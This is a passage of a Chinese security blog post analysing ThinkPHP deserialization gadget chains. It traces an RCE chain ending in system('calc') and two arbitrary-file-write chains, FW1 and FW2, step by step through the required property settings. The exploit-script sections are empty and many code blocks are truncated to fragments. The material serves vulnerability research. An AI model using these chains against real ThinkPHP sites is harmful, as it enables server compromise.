└── getJsonValue($name = "key", $value = ["key" => "calc"])
└── foreach ($this->withAttr["key"] as $k => $closure) // ✅ $this->withAttr["key"] = ["key" => "system"]
└── $value[$k] = $closure($value[$k], $value) // ✅ 等价于 system("calc") 命令执行点
调用链分析
首先在 think\model\Pivot
的 __destruct
方法中,如果 Pivot->lazySave
为 true
则会调用到 Pivot->save
方法。
1 | /** |
Pivot->lazySave
函数可以调用到 Pivot->updateData
函数,不过在此之前需要绕过几个判断。
1 | /** |
首先是 Pivot->setAttrs
,由于我们调用 save
函数时没有传参,因此 save
函数采用默认参数,即 $data = []
,因此 setAttrs
函数的参数 $data
为空数组,因此并没有执行什么逻辑就返回了。
1 | /** |
然后就是下面这个判断,我们需要让判断中的两个条件都不满足。
1 | if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { |
首先 Pivot->isEmpty
要求 Pivot->data
不为空,这里我们随便填一个非空数组即可(这里必须是数组类型是因为后面 getChangedData
有返回值有类型声明)。
1 | /** |
而对于后面的 trigger
我们直接设置 $this->withEvent = false
即可绕过。
1 | /** |
最后我们设置 $this->exists = true
调用 $this->updateData
。
1 | $result = $this->exists ? $this->updateData() : $this->insertData($sequence); |
在 updateData
函数中,我们希望调用到 checkAllowFields
,为此同样需要绕过一些判断。
1 | protected function updateData(): bool |
首先是 trigger
前面分析过了,可以返回 true
绕过。
1 | // ❌ $this->withEvent = false => $this->trigger 返回 true => 不进入判断 |
然后 $this->checkData()
是个空函数什么也没做。
之后是 getChangedData
,这里我们可以通过设置 Pivot->force = true
使其直接返回 $this->data
即可。不过要注意的是 getChangedData
返回类型被声明为 array
,这要求 $this->data
必须是数组类型的。
1 | /** |
再之后几个判断也很好绕过。$data
是来自 getChangedData
返回的 $this->data
,前面已经有要求不为空了。然后 $this->autoWriteTimestam
默认为 false
也不会进入判断。之后就可以顺利调用到 checkAllowFields
函数了。
1 | // $data 来自 getChangedData 返回的 $this->data 不为空 |
在 checkAllowFields
函数中我们希望调用到 db
函数。这就要求我们伪造 $this->field
和 $this->schema
都为空。
1 | /** |
在 db
函数中首先调用的 connect
函数用于创建或切换数据库连接,但是由于第二个参数 $force
没有设置,默认不强制重连。因此 connect
函数能够正常执行过去,不会报错。
1 | /** |
之后的 $this->name . $this->suffix
会调用到 $this->name
的 __toString
方法。
之后和 RCE1 一样(RCE1 是通过 file_exists
触发的)我们可以调用 Pivot
的 __toString
方法。
由于 Pivot
通过继承抽象类 Model
,而 Model
使用了 think\model\concern\Conversion
和 think\model\concern\Attribute
这两个 trait,从而获得了这些方法:
Pivot->__toString
:Conversion->__toString
Pivot->getAttr
:Attribute->getAttr
因此首先会有 Conversion->__toString → Conversion->toJson → Conversion->toArray
调用链。
1 | public function __toString() |
toArray
方法最终会调用 Attribute->getAttr
方法,参数为 $this->data
中的其中一项的键,这里为 "key"
。期间的几个判断只要我们让 Pivot
相关字段都保持默认值即可绕过。
1 | /** |
Attribute->getAttr
先调用 $this->getData
获取到 $value
,然后调用 $this->getValue
函数并依次传入 $name = "key"
,$value
,$relation = false
三个参数。
1 | /** |
getData
获取到的是 $this->data["key"] = ["key" => "calc"]
。
1 | /** |
在 getValue
函数中虽然有一个闭包函数的调用,但是限制限制 $closure
为 Closure
的实例,因此不能实现任意方法调用。因此我们走另一个分支调用 getJsonValue
函数。
1 | /** |
getJsonValue
同样存在闭包函数的调用,并且两处闭包调用都是可行的。这里我们采用其中一个即可。
1 | /** |
利用脚本
1 |
|
FW1(影响 5.0.4 - 5.0.24)
基本信息
影响范围 :5.0.4 - 5.0.24
生成命令 :
1
反序列化对象 :
反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105think\Process->__destruct()
└── stop(): int
├── if ($this->isRunning()) // ❌ $this->status = STATUS_READY,返回 false,不进入
│ └── isRunning(): bool
│ ├── if (self::STATUS_STARTED !== $this->status) // ✅ 默认 status = "ready"
│ │ └── return false // ✅ 直接返回
│ └── // ❌ 不进入后续判断
├── $this->updateStatus(false)
│ └── updateStatus(bool $blocking): void
│ ├── if (self::STATUS_STARTED !== $this->status) // ✅ status = "ready"
│ │ └── return; // ✅ 直接返回
│ └── // ❌ 不执行后续逻辑
└── if ($this->processInformation['running']) // ✅ = true,进入分支
└── close(): int
└── $this->processPipes->close()
// $processPipes = HasMany 对象,没有 close 方法,触发 __call 魔术方法
think\model\relation\HasMany::__call(string $method = "close", array $args = [])
└── if ($this->query) // ✅ query 不为空,进入
└── baseQuery(): void
└── if (empty($this->baseQuery)) // ✅ baseQuery = null,进入
└── if (isset($this->parent->{$this->localKey})) // ✅ 假设 parent.k 存在
└── $this->query->where($this->foreignKey, $this->parent->{$this->localKey}) // ✅ $this->localKey = 'k', $this->parent->k 随便一个值,比如 0
// $query 是 Output 对象,触发其 __call 魔术方法
think\console\Output::__call(string $method = "where", array $args = ["file_content", 0])
└── if (in_array($method, $this->styles)) // ✅ styles = ['where'],进入判断
├── array_unshift($args, $method) // ✅ $args = ['where', 'file_content', 0]
└── call_user_func_array([$this, 'block'], $args = ['where', 'file_content', 0])
└── block(style = "where", message = "file_content")
└── writeln(messages = "<where>file_content</where>", type = 0)
└── write(messages = "<where>file_content</where>", newline = true, type = 0)
└── $this->handle->write(
messages = "<where>file_content</where>",
newline = true,
type = 0
)
// handle = Memcache 对象,进入 write
think\session\driver\Memcache::write(string $sessID = "<where>file_content</where>", string $sessData = true)
└── $this->handler->set(
$this->config['session_name'] . $sessID, // ✅ session_name = '' → $name = "<where>file_content</where>"
$sessData, // ✅ = true
0, // 第三个参数 = 0
$this->config['expire'] // ✅ 默认为 3600
)
// handler = Memcached 对象 → set()
think\cache\driver\Memcached::set(string $name = "<where>file_content</where>", mixed $value = true, int $expire = 0)
└── if ($this->tag && !$this->has($name)) == true // ✅ $tag = true 且缓存不存在
└── has(string $name = "<where>file_content</where>"): bool
├── $key = $this->getCacheKey($name)
│ └── getCacheKey(string $name): string
│ └── return $this->options['prefix'] . $name = "<where>file_content</where>" // ✅ prefix = ''
├── $this->handler->get($key = "<where>file_content</where>")
│ └── think\cache\driver\File::get(string $name = "<where>file_content</where>", mixed $default = false)
│ ├── $filename = $this->getCacheKey($name, true)
│ │ └── $filename = $this->options['path'] . md5($name) . ".php"
│ ├── if (!is_file($filename)) == true // ✅ 文件不存在
│ └── return false
└── return false
└── $first = true
└── $key = $this->getCacheKey($name = "<where>file_content</where>") = "<where>file_content</where>"
└── $expire = (0 == $expire) ? 0 : time() + $expire = 0
// 📌 第一次写入(内容不可控)
└── if ($this->handler->set($key = "<where>file_content</where>", $value = true, $expire = 0)) == true
└── think\cache\driver\File::set(string $name = "<where>file_content</where>", mixed $value = true, int $expire = 0)
│ ├── if (is_null($expire)) == false
│ ├── if ($expire instanceof \DateTime) == false
│ ├── $filename = $this->getCacheKey($name, true)
│ │ └── getCacheKey(string $name, bool $auto = true): string
│ │ ├── $name = md5($name)
│ │ ├── if ($this->options['cache_subdir']) == false
│ │ ├── if ($this->options['prefix']) == false
│ │ ├── $filename = $this->options['path'] . $name . ".php"
│ │ └── if ($auto && !is_dir(dirname($filename))) → mkdir($dir)
│ ├── if ($this->tag && !is_file($filename)) == false // ✅ $this->tag = false,跳过,$first 未设置
│ ├── $data = serialize(true) = 'b:1;'
│ ├── if ($this->options['data_compress']) == false // ✅ 未启用压缩
│ ├── $data = "<?php\n//000000000000\n exit();?>\n" . $data
│ ├── $result = file_put_contents($filename, $data) // ✅ 第一次写入(内容不可控)
│ └── if ($result) == true
│ ├── if (isset($first)) // ❌ $first 未设置
│ │ └── $this->setTagItem($filename) // ❌ 写入值为路径,不可控,不是利用点
│ └── clearstatcache()
│ └── return true
│
// 📌 第二次写入(内容可控)来自上层 Memcached::set → setTagItem($key)
└── if ($first) == true
└── setTagItem(string $name = "<where>file_content</where>")
├── $key = "tag_" . md5($this->tag)
├── if (!$this->has($key)) == true
│ └── $value = $name = "<where>file_content</where>" // ✅ 可控内容
└── $this->set($key = "tag_xxx", $value = "<where>file_content</where>", $expire = 0)
└── think\cache\driver\File::set(string $name = "tag_xxx", mixed $value = "<where>file_content</where>", int $expire = 0)
├── if (is_null($expire)) == false
├── if ($expire instanceof \DateTime) == false
├── $filename = $this->getCacheKey($name = "tag_xxx", true)
│ └── $filename = $this->options['path'] . md5("tag_xxx") . ".php"
├── $data = serialize($value) = s:30:"<where>file_content</where>"; // ✅ 内容可控
├── if ($this->options['data_compress']) == false
├── $data = "<?php\n//000000000000\n exit();?>\n" . $data
└── file_put_contents($filename, $data) // ✅ 第二次写入(内容可控)
调用链分析
think\Process->__destruct
函数会调用 stop
方法。
1 | public function __destruct() |
stop
函数中间有很多判断和干扰逻辑但是我们只需要设置 think\Process->processInformation['running'] = true
,然后 think\Process->status
为默认值就可以绕过。从而顺利调用到 close
函数。
1 | const STATUS_READY = 'ready'; |
close
函数会调用 $this->processPipes
的 close
函数。
1 | /** |
$this->processPipes
被我们设置为 think\model\relation\HasMany
对象,而该对象没有 close
方法,因此会调用 HasMany
的父类 Relation
的 __call
函数。
在 __call
函数中,如果 $this->query
不为空则会调用 HasMany->baseQuery
方法。
1 | public function __call($method, $args) |
在 HasMany->baseQuery
中经过一些判断会调用 $this->query->where
方法。这里我们设置 $this->query
为 think\console\Output
对象,而 Output
没有 where
方法,因此会调用到 Output->__call
方法。
1 | protected function baseQuery() |
和 RCE2 调用链一样,Output->__call
方法方法将 $method = 'where'
插入到参数列表头部之后就会调用自身的 block
方法。
1 | // $method = 'where', $args = ['file_content', 0] |
随后是一条和 RCE2 一样的调用链:
1 | // $style = 'where', $message = 'file_content' |
由于 $this->handle
被我们设置为 think\session\driver\Memcache
对象,因此和 RCE2 一样,随后会调用该对象的 write
方法。在 write
方法中又会调用 this->handler->set
方法,其中 $this->handler
被设置为 think\cache\driver\Memcached
对象。
由于我们没有设置 Memcache
的 $config
成员的值,因此在设置参数时使用的 $this->config
是类中定义的默认值。
1 | protected $config = [ |
think\cache\driver\Memcached
的 set
方法是 ThinkPHP 缓存系统中的缓存写入函数,这个函数是 FW1 中最重要的一个函数。
如果我们将 think\cache\driver\Memcached
的 handler
成员指向 think\cache\driver\File
对象并精心构造,那么我们可以先把这个函数的功能简单理解为一个文件写入函数,其中:
- 将第
$this->handler->options['path']
与一个参数$name
的 MD5 与简单拼接后加上.php
后缀作为文件名。 - 将第二个参数
$value
序列化后与其他数据简单拼接之后作为文件内容。
然而当我们调用到 set
方法时,我们只能控制第一个参数,而第二个作为文件内容的参数不可控。因此我们还需要分析一下 set
的过程看一下有没有可以控制文件内容的方法。
1 | /** |
在 set
函数中真正进行文件写入操作是通过调用 $this->handler->set
完成的。当 handler
成员指向 think\cache\driver\File
对象时,对应的 $this->handler->set
函数如下:
1 | /** |
$this->handler->set
函数首先会对 $expire
做一些判断和转换,但是由于我们传入的是数字,因此实际上并没有什么变化。
1 | if (is_null($expire)) { |
之后会调用父类 Driver
的 getCacheKey
方法将传入的第一个参数 $name
转换为要写入的文件的名字。
1 | /** |
之后如果 $this->tag
为 true
且文件不存在说明是第一次写入。如果是第一次写入,则在完成文件写入之后还会调用 think\cache\Driver->setTagItem
函数再次写入文件。
1 | // $this->tag = true 且文件不存在则表示第一次创建,$first = true |
如果我们设置 $this->tag = true
则 setTagItem
会调用 $this->set
将 $name
写入文件。然而这里传入的 $name
是经过 getCacheKey
函数做过哈希运算的内容,实际上是不可控的。因此我们不能通过这条链完成文件写入。
1 | /** |
然后 File->set
在文件写入这块主要是将写入内容 $value
做了如下转换:
- 将写入数据进行序列化。
- 如果
$this->options['data_compress'] = true
还会将写入数据进行 gzip 压缩,不过这里我们为了控制文件内容通常设置$this->options['data_compress'] = false
。 - 在写入数据前拼接一段 PHP 代码:
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
。
1 | // 将要写入的值 $value 序列化一下 |
然而前面分析过,$data
传入的是值是 true
,然后 $expire
传入的值是 0
,因此写入文件的内容如下:
1 |
|
显然这里文件写入的内容也是不可控的。
不过观察发现,think\cache\driver\File->set
的上一层 think\cache\driver\Memcached->set
在逻辑上和它很像。都有一个第一次写入的 $first
判断。不过这里判断文件是否存在用的不是 is_file
函数,而是 $this->has
,这是因为这里参数 $name
还没有通过 $this->handler->getCacheKey
转换为写入文件的名称。
1 | // 如果没有 $name 对应的缓存文件则 $this->has($name) 返回 false |
其中 $this->has
主要通过 $this->handler->get
判断文件是否存在。前面会先调用 $this->getCacheKey
作一下转换,不过只是在名称前面拼接一段 $this->options['prefix']
,没什么影响。
1 | /** |
File->get
函数则会读取 $name
经过 File->getCacheKey
转换后得到的文件名对应文件的内容。如果文件还没有创建的话返回空导致 Memcached->has
返回 false
。
1 | /** |
另外前面分析过,$this->handler->set
会返回 true
,因此可以走到 $this->setTagItem
逻辑。
1 | if ($this->handler->set($key, $value, $expire)) { |
think\cache\driver\Memcached
和 think\cache\driver\File
都继承于 think\cache\Driver
,因此调用的都是 Driver
类的 setTagItem
函数。前面分析过,setTagItem
函数会将传入的参数写入文件,而这里传入的参数 $key
就是前面可控的 $name
。因此我们可以通过这条链实现文件写入。
注意这里写入的文件的文件名中拼接的 MD5 是 'md5(tag_'.md5(File->tag))
,因此多次写入如果路径相同则都是写在同一个文件里面。
利用脚本
1 |
|
FW2(影响 5.0.0 - 5.0.3)
基本信息
影响范围 :5.0.0 - 5.0.3
生成命令 :
1
反序列化对象 :
反序列化调用链 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45think\Process->__destruct()
└── stop()
├── if ($this->isRunning()) == false // $status 为默认值 "ready"
├── $this->updateStatus(false) // 同样 $status != "started" → return
└── if ($this->processInformation['running']) == true
└── close()
└── $this->processPipes->close()
// $processPipes 为 think\model\Relation,无 close 方法,触发 __call
think\model\Relation->__call("close", [])
└── if ($this->query && $this->type === self::HAS_MANY)
└── if (isset($this->where)) == true // ✅ 设置 $where = "file_content"
└── $this->query->where($this->where)
// $query = think\console\Output,没有 where 方法,触发 __call
think\console\Output->__call("where", ['file_content'])
└── if (in_array($method, $this->styles)) == true // ✅ $styles = ['where']
├── array_unshift($args, $method) // ['file_content'] → ['where', 'file_content']
└── call_user_func_array([$this, 'block'], ['where', 'file_content'])
└── block('where', 'file_content')
└── writeln('<where>file_content</where>')
└── write('<where>file_content</where>')
└── $this->handle->write('<where>file_content</where>')
// $handle = think\session\driver\Memcache → write
think\session\driver\Memcache::write('<where>file_content</where>', true)
└── $this->handler->set('<where>file_content</where>', true, 0, 3600)
// $handler = think\cache\driver\Memcached → set()
think\cache\driver\Memcached::set($name, $value, $expire)
└── if ($this->tag && !$this->has($name)) == true // ✅ 第一次写入,设置 $first = true
└── $key = $this->getCacheKey($name)
└── $expire = 0 == $expire ? 0 : time() + $expire
└── $this->handler->set($key, $value, $expire) // File::set 第一次写入(value 不可控)
├── 生成缓存文件路径 $filename
├── $data = "<?php\n//000000000000\n exit();?>\n" . serialize(true)
└── file_put_contents($filename, $data)
└── isset($first) && $this->setTagItem($key) // 第二次调用 set(value 可控)
think\cache\driver\Memcached::setTagItem($key)
└── $value = $key // ✅ $key = '<where>file_content</where>' 可控
└── $this->set("tag_" . md5($this->tag), $value, 0)
└── think\cache\driver\File::set(name = "tag_xxx", value = "<where>file_content</where>")
├── $data = "<?php\n//000000000000\n exit();?>\n" . serialize("<where>file_content</where>")
└── file_put_contents($filename, $data) // ✅ 内容可控 → 文件写入原始数据
调用链分析
FW2 与 FW1 的整体过程基本上是一致的,唯一的不同点是 FW2 将 FW1 的 think\model\relation\HasMany
替换为了 think\model\Relation
。
这是因为在 5.0.3 中 Relation
类的 __call
方法可以直接调用到 $this->query->where
。
1 | const HAS_MANY = 2; |
而 5.0.4+ 的 Relation
类是一个抽象类,它的 __call
方法会调用 $this->baseQuery
函数。
1 | public function __call($method, $args) |
而 $this->baseQuery
函数来自于 Relation
具体的实现类。而 FW1 采用的是 HasMany
,因此会调用 $this->baseQuery->where
。
1 | /** |
另外一点不同的是 think\cache\driver\File->set
写入文件部分。在 5.0.3 中,我们的可控数据 $data
是拼接在 PHP 脚本内部的。
1 | $data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>"; |
两次文件写入内容如下:
1 |
|
而在 5.0.4+ 的 think\cache\driver\File->set
写入文件部分,可控数据 $data
是拼接在 PHP 脚本后面的。
1 | $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; |
两次文件写入内容如下:
1 |
|
利用脚本
1 |
|
- Title: ThinkPHP 框架安全
- Author: sky123
- Created at : 2025-07-28 23:10:49
- Updated at : 2025-08-01 23:32:43
- Link: https://skyi23.github.io/2025/07/28/ThinkPHP 框架安全/
- License: This work is licensed under CC BY-NC-SA 4.0.